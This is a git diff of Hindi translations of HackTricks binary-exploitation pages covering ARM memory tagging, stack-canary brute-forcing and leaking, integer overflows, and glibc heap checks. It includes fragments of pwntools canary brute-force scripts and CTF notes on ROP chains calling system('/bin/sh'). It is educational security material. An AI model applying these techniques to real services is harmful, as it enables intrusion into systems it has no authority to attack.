+**Memory Tagging Extension (MTE)** को सॉफ़्टवेयर की विश्वसनीयता और सुरक्षा को बढ़ाने के लिए डिज़ाइन किया गया है, **मेमोरी से संबंधित त्रुटियों** का **पता लगाने और रोकने** के लिए, जैसे कि बफर ओवरफ्लो और उपयोग के बाद मुक्त होने वाली कमजोरियाँ। MTE, **ARM** आर्किटेक्चर का एक हिस्सा, प्रत्येक मेमोरी आवंटन के लिए एक **छोटा टैग संलग्न करने** और उस मेमोरी को संदर्भित करने वाले प्रत्येक पॉइंटर के लिए एक **संबंधित टैग** प्रदान करता है। यह दृष्टिकोण रनटाइम पर अवैध मेमोरी एक्सेस का पता लगाने की अनुमति देता है, जिससे ऐसे कमजोरियों का शोषण करके मनमाने कोड को निष्पादित करने का जोखिम काफी कम हो जाता है।
-### **मेमोरी टैगिंग एक्सटेंशन कैसे काम करता है**
+### **How Memory Tagging Extension Works**
-MTE **मेमोरी को छोटे, निश्चित आकार के ब्लॉकों में विभाजित करके काम करता है, प्रत्येक ब्लॉक को एक टैग सौंपा जाता है,** जो आमतौर पर कुछ बिट्स का आकार होता है।
+MTE **मेमोरी को छोटे, निश्चित आकार के ब्लॉकों में विभाजित करके काम करता है, प्रत्येक ब्लॉक को एक टैग सौंपा जाता है,** जो आमतौर पर कुछ बिट्स का आकार होता है।
जब एक पॉइंटर उस मेमोरी की ओर इशारा करने के लिए बनाया जाता है, तो उसे वही टैग मिलता है। यह टैग **मेमोरी पॉइंटर के अप्रयुक्त बिट्स में** संग्रहीत होता है, प्रभावी रूप से पॉइंटर को उसके संबंधित मेमोरी ब्लॉक से जोड़ता है।
@@ -16,7 +16,7 @@ MTE **मेमोरी को छोटे, निश्चित आकार
जब एक प्रोग्राम पॉइंटर के माध्यम से मेमोरी तक पहुँचता है, तो MTE हार्डवेयर यह जांचता है कि **पॉइंटर का टैग मेमोरी ब्लॉक के टैग से मेल खाता है**। यदि टैग **मेल नहीं खाते**, तो यह एक **अवैध मेमोरी एक्सेस** को इंगित करता है।
-### MTE पॉइंटर टैग
+### MTE Pointer Tags
पॉइंटर के अंदर टैग 4 बिट्स में शीर्ष बाइट के अंदर संग्रहीत होते हैं:
@@ -24,7 +24,7 @@ MTE **मेमोरी को छोटे, निश्चित आकार
इसलिए, यह **16 विभिन्न टैग मानों** की अनुमति देता है।
-### MTE मेमोरी टैग
+### MTE Memory Tags
हर **16B भौतिक मेमोरी** का एक संबंधित **मेमोरी टैग** होता है।
@@ -46,7 +46,7 @@ CPU टैग को **निर्देश निष्पादन के द
### Async
-CPU टैग को **असिंक्रोनसली** चेक करता है, और जब कोई असंगति पाई जाती है, तो यह सिस्टम रजिस्टर में एक अपवाद बिट सेट करता है। यह पिछले वाले से **तेज़** है लेकिन यह **सटीक निर्देश को इंगित करने में असमर्थ** है जो असंगति का कारण बनता है और यह तुरंत अपवाद नहीं उठाता, जिससे हमलावर को अपने हमले को पूरा करने के लिए कुछ समय मिलता है।
+CPU टैग को **असिंक्रोनसली** चेक करता है, और जब कोई असंगति पाई जाती है, तो यह सिस्टम रजिस्टर में एक अपवाद बिट सेट करता है। यह पिछले तरीके से **तेज़** है लेकिन यह **सटीक निर्देश को इंगित करने में असमर्थ** है जो असंगति का कारण बनता है और यह तुरंत अपवाद नहीं उठाता, जिससे हमलावर को अपने हमले को पूरा करने के लिए कुछ समय मिलता है।
### Mixed
@@ -55,11 +55,11 @@ CPU टैग को **असिंक्रोनसली** चेक कर
## Implementation & Detection Examples
इसे हार्डवेयर टैग-आधारित KASAN, MTE-आधारित KASAN या इन-कर्नेल MTE कहा जाता है।\
-कर्नेल आवंटक (जैसे `kmalloc`) इस **मॉड्यूल को कॉल करेंगे** जो उपयोग के लिए टैग तैयार करेगा (यादृच्छिक रूप से) इसे कर्नेल स्पेस आवंटित करने और लौटाए गए पॉइंटर से जोड़ने के लिए।
+कर्नेल आवंटक (जैसे `kmalloc`) इस **मॉड्यूल को कॉल करेंगे** जो उपयोग के लिए टैग तैयार करेगा (यादृच्छिक रूप से) इसे कर्नेल स्पेस आवंटित और लौटाए गए पॉइंटर से जोड़ने के लिए।
-ध्यान दें कि यह **केवल पर्याप्त मेमोरी ग्रेन्यूल्स** (प्रत्येक 16B) को अनुरोधित आकार के लिए **मार्क** करेगा। इसलिए यदि अनुरोधित आकार 35 था और 60B का एक स्लैब दिया गया, तो यह पहले 16\*3 = 48B को इस टैग के साथ **मार्क** करेगा और **बाकी** को एक तथाकथित **अमान्य टैग (0xE)** के साथ **मार्क** करेगा।
+ध्यान दें कि यह **केवल पर्याप्त मेमोरी ग्रेन्यूल्स** (प्रत्येक 16B) को अनुरोधित आकार के लिए चिह्नित करेगा। इसलिए यदि अनुरोधित आकार 35 था और 60B का एक स्लैब दिया गया, तो यह पहले 16\*3 = 48B को इस टैग के साथ चिह्नित करेगा और **बाकी** को एक तथाकथित **अमान्य टैग (0xE)** के साथ **चिह्नित** करेगा।
-टैग **0xF** **सभी पॉइंटर से मेल खाता है**। इस पॉइंटर के साथ एक मेमोरी **किसी भी टैग का उपयोग** करने की अनुमति देती है ताकि इसकी मेमोरी तक पहुंचा जा सके (कोई असंगतियाँ नहीं)। यदि इस टैग का उपयोग हमले की गई मेमोरी में किया जा रहा है, तो यह MET को हमले का पता लगाने से रोक सकता है।
+टैग **0xF** **सभी पॉइंटर से मेल खाता है**। इस पॉइंटर के साथ एक मेमोरी **किसी भी टैग का उपयोग** करने की अनुमति देती है ताकि इसकी मेमोरी तक पहुंचा जा सके (कोई असंगति नहीं)। यदि इस टैग का उपयोग हमले की गई मेमोरी में किया जा रहा है, तो यह MET को हमले का पता लगाने से रोक सकता है।
इसलिए केवल **14 मान** हैं जो टैग उत्पन्न करने के लिए उपयोग किए जा सकते हैं क्योंकि 0xE और 0xF आरक्षित हैं, जिससे टैग **पुन: उपयोग** की संभावना 1/17 -> लगभग **7%** हो जाती है।
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index d3c0ac74c..e5c2d4065 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
-**यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।**
+**यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा सुरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।**
.png>)
> [!NOTE]
-> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा संरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।\
-> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच बाहर निकलने से पहले की जाती है।
+> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा सुरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।\
+> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक फ़ंक्शन कॉल की शुरुआत में स्टैक में एक मान सहेजा गया है और इस मान की जांच निकासी से पहले की जाती है।
## ब्रूट फोर्स कैनरी
-एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है **जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रोसेस को फोर्क करता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं **तो वही कैनरी का उपयोग किया जाएगा**।
+एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है **जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं, तो चाइल्ड प्रोसेस को फोर्क करता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं **तो वही कैनरी का उपयोग किया जाएगा**।
-फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे **चर द्वारा चर ब्रूट-फोर्स करना**, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन **8 बाइट्स कैनरी (x64)** को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस **जांचकर** कि क्या सर्वर द्वारा एक **प्रतिक्रिया** वापस भेजी गई है (एक अन्य तरीके में **अन्य स्थिति** में **try/except** का उपयोग करना हो सकता है):
+फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे **चर द्वारा चर ब्रूट-फोर्स करना**, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन **8 बाइट्स कैनरी (x64)** को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस **जांचकर** कि क्या सर्वर द्वारा एक **प्रतिक्रिया** वापस भेजी गई है (एक अन्य स्थिति में **अन्य स्थिति** में **try/except** का उपयोग करना हो सकता है):
### उदाहरण 1
@@ -57,10 +57,10 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
-### उदाहरण 2
+### Example 2
-यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे 64 बिट्स में आसानी से बदला जा सकता है।\
-यह भी ध्यान दें कि इस उदाहरण के लिए **कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की** और पेलोड।
+यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे आसानी से 64 बिट्स में बदला जा सकता है।\
+इसके अलावा, इस उदाहरण के लिए **कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की** और पेलोड।
```python
from pwn import *
@@ -103,13 +103,13 @@ log.info(f"The canary is: {canary}")
```
## Threads
-एक ही प्रक्रिया के थ्रेड भी **एक ही कैनरी टोकन** साझा करेंगे, इसलिए यह संभव होगा कि हम **ब्रूट-फोर्स** एक कैनरी कर सकें यदि बाइनरी हर बार हमले के होने पर एक नया थ्रेड उत्पन्न करती है।
+एक ही प्रक्रिया के थ्रेड भी **एक ही कैनरी टोकन** साझा करेंगे, इसलिए यह संभव होगा कि एक कैनरी को **ब्रूट-फोर्स** किया जा सके यदि बाइनरी हर बार एक नया थ्रेड उत्पन्न करती है जब हमला होता है।
इसके अलावा, एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो कैनरी से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर कैनरी को संशोधित करने** के लिए किया जा सकता है। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के **स्टैक** में एक **bof** के माध्यम से उस मेमोरी स्थिति तक पहुँचा जा सके जहाँ TLS संग्रहीत है (और इसलिए, कैनरी)।\
इसके परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान कैनरी के साथ की जाती है (हालांकि संशोधित)।\
-यह हमला इस लेख में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+यह हमला लिखित में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-इसके अलावा, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति देखें जो बताती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है, तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लेख में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
+इसके अलावा [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति देखें जिसमें उल्लेख किया गया है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लिखित में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
## Other examples & references
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 9e4c54c88..3091c2c0c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -4,20 +4,20 @@
## Enlarge printed stack
-एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte** है (`\x00`) और बाकी का canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** नहीं हो जाता।
+एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow एक **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte है** (`\x00`) और बाकी का canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** न हो।
फिर, हमलावर **payload के मध्य में puts functionality** को **call** करता है जो **सभी canary को print करेगा** (पहले null byte को छोड़कर)।
-इस जानकारी के साथ हमलावर **canary को जानकर एक नया हमला तैयार और भेज** सकता है (उसी program session में)।
+इस जानकारी के साथ हमलावर **canary को जानकर एक नया हमला तैयार और भेज सकता है** (उसी program session में)।
-स्पष्ट रूप से, यह रणनीति बहुत **restricted** है क्योंकि हमलावर को अपने **payload** की **content** को **print** करने में सक्षम होना चाहिए ताकि **canary** को **exfiltrate** कर सके और फिर एक नया payload (उसी **program session** में) बना सके और **real buffer overflow** को **send** कर सके।
+स्पष्ट रूप से, यह रणनीति बहुत **restricted** है क्योंकि हमलावर को अपने **payload** की **content** को **print** करने में सक्षम होना चाहिए ताकि **canary** को **exfiltrate** कर सके और फिर एक नया payload बना सके (उसी **program session** में) और **real buffer overflow** को **send** कर सके।
-**CTF examples:**
+**CTF examples:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 नहीं हो जाता ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है।
+- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 न हो जाए ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है।
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
-- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow करें + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके।
+- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके।
## Arbitrary Read
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 7b792a51e..32adc5b25 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -4,15 +4,15 @@
## Basic Information
-**integer overflow** के केंद्र में कंप्यूटर प्रोग्रामिंग में डेटा प्रकारों के **आकार** द्वारा लगाए गए प्रतिबंध और डेटा की **व्याख्या** है।
+एक **integer overflow** के केंद्र में कंप्यूटर प्रोग्रामिंग में डेटा प्रकारों के **आकार** द्वारा लगाए गए प्रतिबंध और डेटा की **व्याख्या** है।
-उदाहरण के लिए, एक **8-बिट बिना चिह्नित पूर्णांक** **0 से 255** तक के मानों का प्रतिनिधित्व कर सकता है। यदि आप 8-बिट बिना चिह्नित पूर्णांक में मान 256 को स्टोर करने का प्रयास करते हैं, तो यह इसके भंडारण क्षमता की सीमा के कारण 0 पर लिपट जाता है। इसी तरह, एक **16-बिट बिना चिह्नित पूर्णांक** के लिए, जो **0 से 65,535** तक के मानों को रख सकता है, 65,535 में 1 जोड़ने से मान फिर से 0 पर लिपट जाएगा।
+उदाहरण के लिए, एक **8-बिट unsigned integer** **0 से 255** तक के मानों का प्रतिनिधित्व कर सकता है। यदि आप 8-बिट unsigned integer में मान 256 को स्टोर करने का प्रयास करते हैं, तो यह अपनी संग्रहण क्षमता की सीमा के कारण 0 पर लिपट जाता है। इसी तरह, एक **16-बिट unsigned integer** के लिए, जो **0 से 65,535** तक के मानों को रख सकता है, 65,535 में 1 जोड़ने से मान फिर से 0 पर लिपट जाएगा।
-इसके अलावा, एक **8-बिट चिह्नित पूर्णांक** **-128 से 127** तक के मानों का प्रतिनिधित्व कर सकता है। इसका कारण यह है कि एक बिट को चिह्न (सकारात्मक या नकारात्मक) का प्रतिनिधित्व करने के लिए उपयोग किया जाता है, जिससे 7 बिट्स को परिमाण का प्रतिनिधित्व करने के लिए छोड़ दिया जाता है। सबसे नकारात्मक संख्या को **-128** (बाइनरी `10000000`) के रूप में दर्शाया जाता है, और सबसे सकारात्मक संख्या **127** (बाइनरी `01111111`) है।
+इसके अलावा, एक **8-बिट signed integer** **-128 से 127** तक के मानों का प्रतिनिधित्व कर सकता है। इसका कारण यह है कि एक बिट को संकेत (सकारात्मक या नकारात्मक) का प्रतिनिधित्व करने के लिए उपयोग किया जाता है, जिससे 7 बिट्स को परिमाण का प्रतिनिधित्व करने के लिए छोड़ दिया जाता है। सबसे नकारात्मक संख्या को **-128** (बाइनरी `10000000`) के रूप में दर्शाया जाता है, और सबसे सकारात्मक संख्या **127** (बाइनरी `01111111`) है।
### Max values
-संभावित **वेब कमजोरियों** के लिए अधिकतम समर्थित मानों को जानना बहुत दिलचस्प है:
+संभावित **web vulnerabilities** के लिए अधिकतम समर्थित मानों को जानना बहुत दिलचस्प है:
{{#tabs}}
{{#tab name="Rust"}}
@@ -69,7 +69,7 @@ return 0;
```
### Signed to Unsigned Conversion
-एक ऐसी स्थिति पर विचार करें जहाँ एक साइन किया हुआ पूर्णांक उपयोगकर्ता इनपुट से पढ़ा जाता है और फिर एक संदर्भ में उपयोग किया जाता है जो इसे एक असाइन किया हुआ पूर्णांक के रूप में मानता है, बिना उचित सत्यापन के:
+एक ऐसी स्थिति पर विचार करें जहाँ एक साइन किया हुआ पूर्णांक उपयोगकर्ता इनपुट से पढ़ा जाता है और फिर इसे एक संदर्भ में उपयोग किया जाता है जो इसे एक असाइन किया हुआ पूर्णांक के रूप में मानता है, बिना उचित सत्यापन के:
```c
#include
@@ -96,17 +96,17 @@ return 0;
### अन्य उदाहरण
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने के लिए
+- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि वास्तव में इसकी लंबाई 260 है, ताकि लंबाई जांच सुरक्षा को बायपास किया जा सके।
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- कुछ संख्याओं को दिए जाने पर z3 का उपयोग करके एक नई संख्या खोजें जो पहले वाले से गुणा करने पर दूसरे को देगी:
+- कुछ संख्याओं को दिए जाने पर z3 का उपयोग करके एक नई संख्या खोजें जो पहले वाले से गुणा करने पर दूसरे को देगी:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने और स्टैक में अगले स्थानीय चर को ओवरराइट करने के लिए और दोनों सुरक्षा को बायपास करने के लिए
+- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि वास्तव में इसकी लंबाई 260 है, ताकि लंबाई जांच सुरक्षा को बायपास किया जा सके और स्टैक में अगले स्थानीय चर को ओवरराइट किया जा सके और दोनों सुरक्षा को बायपास किया जा सके।
## ARM64
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 928dec569..3d91ff0e9 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -12,7 +12,7 @@ unlink.md
यह किए गए चेक का सारांश है:
-- जांचें कि चंक का निर्दिष्ट आकार अगले चंक में निर्दिष्ट `prev_size` के समान है
+- जांचें कि चंक का निर्दिष्ट आकार अगले चंक में `prev_size` के समान है
- त्रुटि संदेश: `corrupted size vs. prev_size`
- यह भी जांचें कि `P->fd->bk == P` और `P->bk->fw == P`
- त्रुटि संदेश: `corrupted double-linked list`
@@ -39,8 +39,8 @@ malloc-and-sysmalloc.md
- **छोटे बिन खोज के दौरान चेक:**
- यदि `victim->bk->fd != victim`:
- त्रुटि संदेश: `malloc(): smallbin double linked list corrupted`
-- **कंसोलिडेट के दौरान चेक** प्रत्येक फास्ट बिन चंक के लिए:
-- यदि चंक गलत संरेखित है:
+- **कंसोलिडेट के दौरान चेक** प्रत्येक फास्ट बिन चंक के लिए किए गए:
+- यदि चंक गलत संरेखित है तो ट्रिगर करें:
- त्रुटि संदेश: `malloc_consolidate(): unaligned fastbin chunk detected`
- यदि चंक का आकार उस आकार से भिन्न है जो इसे होना चाहिए:
- त्रुटि संदेश: `malloc_consolidate(): invalid chunk size`
@@ -53,9 +53,9 @@ malloc-and-sysmalloc.md
- त्रुटि संदेश: `malloc(): invalid next size (unsorted)`
- यदि अगले चंक द्वारा निर्दिष्ट पिछले आकार चंक के आकार से भिन्न है:
- त्रुटि संदेश: `malloc(): mismatching next->prev_size (unsorted)`
-- यदि `victim->bck->fd == victim` या `victim->fd == av (arena)` नहीं है:
+- यदि `victim->bck->fd == victim` नहीं है या `victim->fd == av (arena)` नहीं है:
- त्रुटि संदेश: `malloc(): unsorted double linked list corrupted`
-- चूंकि हम हमेशा अंतिम चंक की जांच कर रहे हैं, इसका fd हमेशा arena संरचना की ओर इशारा करना चाहिए।
+- चूंकि हम हमेशा अंतिम को चेक कर रहे हैं, इसका fd हमेशा arena struct की ओर इशारा करना चाहिए।
- यदि अगले चंक यह नहीं बता रहा है कि पिछले का उपयोग हो रहा है:
- त्रुटि संदेश: `malloc(): invalid next->prev_inuse (unsorted)`
- यदि `fwd->bk_nextsize->fd_nextsize != fwd`:
@@ -111,7 +111,7 @@ free.md
- यदि मुक्त चंक पहले से ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है:
- त्रुटि संदेश: `free(): double free detected in tcache 2`
- **`_int_free` फास्ट बिन में चेक:**
-- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) ट्रिगर:
+- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) ट्रिगर करें:
- त्रुटि संदेश: `free(): invalid next size (fast)`
- यदि जोड़ा गया चंक पहले से ही फास्ट बिन का शीर्ष था:
- त्रुटि संदेश: `double free or corruption (fasttop)`
@@ -125,7 +125,7 @@ free.md
- त्रुटि संदेश: `double free or corruption (top)`
- यदि अगला चंक एरेना की सीमाओं के बाहर है:
- त्रुटि संदेश: `double free or corruption (out)`
-- यदि चंक को उपयोग के रूप में चिह्नित नहीं किया गया है (अगले चंक के prev_inuse में):
+- यदि चंक को उपयोग में नहीं चिह्नित किया गया है (अगले चंक से prev_inuse में):
- त्रुटि संदेश: `double free or corruption (!prev)`
- यदि अगले चंक का आकार बहुत छोटा या बहुत बड़ा है:
- त्रुटि संदेश: `free(): invalid next size (normal)`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 5d56e7824..3793a49dd 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,7 +7,7 @@
(इस सारांश में कोई जांचें समझाई नहीं गई हैं और कुछ मामलों को संक्षिप्तता के लिए छोड़ दिया गया है)
1. `__libc_malloc` tcache से एक चंक प्राप्त करने की कोशिश करता है, यदि नहीं तो यह `_int_malloc` को कॉल करता है
-2. `_int_malloc` :
+2. `_int_malloc` :
1. यदि कोई एरेना नहीं है तो इसे उत्पन्न करने की कोशिश करता है
2. यदि सही आकार का कोई फास्ट बिन चंक है, तो इसका उपयोग करें
1. अन्य फास्ट चंक्स के साथ tcache भरें
@@ -16,8 +16,8 @@
4. यदि अनुरोधित आकार स्मॉल बिन के लिए नहीं है, तो फास्ट बिन को अनसॉर्टेड बिन में समेकित करें
5. अनसॉर्टेड बिन की जांच करें, पर्याप्त स्थान वाले पहले चंक का उपयोग करें
1. यदि पाया गया चंक बड़ा है, तो इसे विभाजित करें ताकि एक भाग लौटाया जा सके और शेष को अनसॉर्टेड बिन में वापस जोड़ें
-2. यदि कोई चंक अनुरोधित आकार के समान है, तो इसे लौटाने के बजाय tcache भरने के लिए उपयोग करें (जब तक tcache भरा न हो जाए, फिर अगला लौटाएं)
-3. छोटे आकार के प्रत्येक चंक की जांच के लिए, इसे उसके संबंधित स्मॉल या बड़े बिन में रखें
+2. यदि एक चंक अनुरोधित आकार के समान है, तो इसे लौटाने के बजाय tcache भरने के लिए उपयोग करें (जब तक tcache भरा न हो जाए, फिर अगला लौटाएं)
+3. प्रत्येक छोटे आकार के चंक की जांच के लिए, इसे उसके संबंधित स्मॉल या बड़े बिन में रखें
6. अनुरोधित आकार के इंडेक्स में बड़े बिन की जांच करें
1. अनुरोधित आकार से बड़े पहले चंक से देखना शुरू करें, यदि कोई पाया जाता है तो इसे लौटाएं और शेष को स्मॉल बिन में जोड़ें
7. अंत तक अगले इंडेक्स से बड़े बिन की जांच करें
@@ -167,9 +167,9 @@ return NULL;
```
-### एरेना
+### Arena
-यदि उपयोगी एरेनाएँ नहीं हैं, तो यह `mmap` से एक टुकड़ा प्राप्त करने के लिए `sysmalloc` का उपयोग करता है:
+यदि उपयोग करने योग्य एरेनास नहीं हैं, तो यह `mmap` से एक टुकड़ा प्राप्त करने के लिए `sysmalloc` का उपयोग करता है:
@@ -190,10 +190,10 @@ return p;
### Fast Bin
-यदि आवश्यक आकार Fast Bins आकारों के भीतर है, तो तेज बिन से एक चंक का उपयोग करने का प्रयास करें। मूल रूप से, आकार के आधार पर, यह तेज बिन अनुक्रमांक खोजेगा जहाँ मान्य चंक्स स्थित होने चाहिए, और यदि कोई हो, तो यह उनमें से एक को लौटाएगा।\
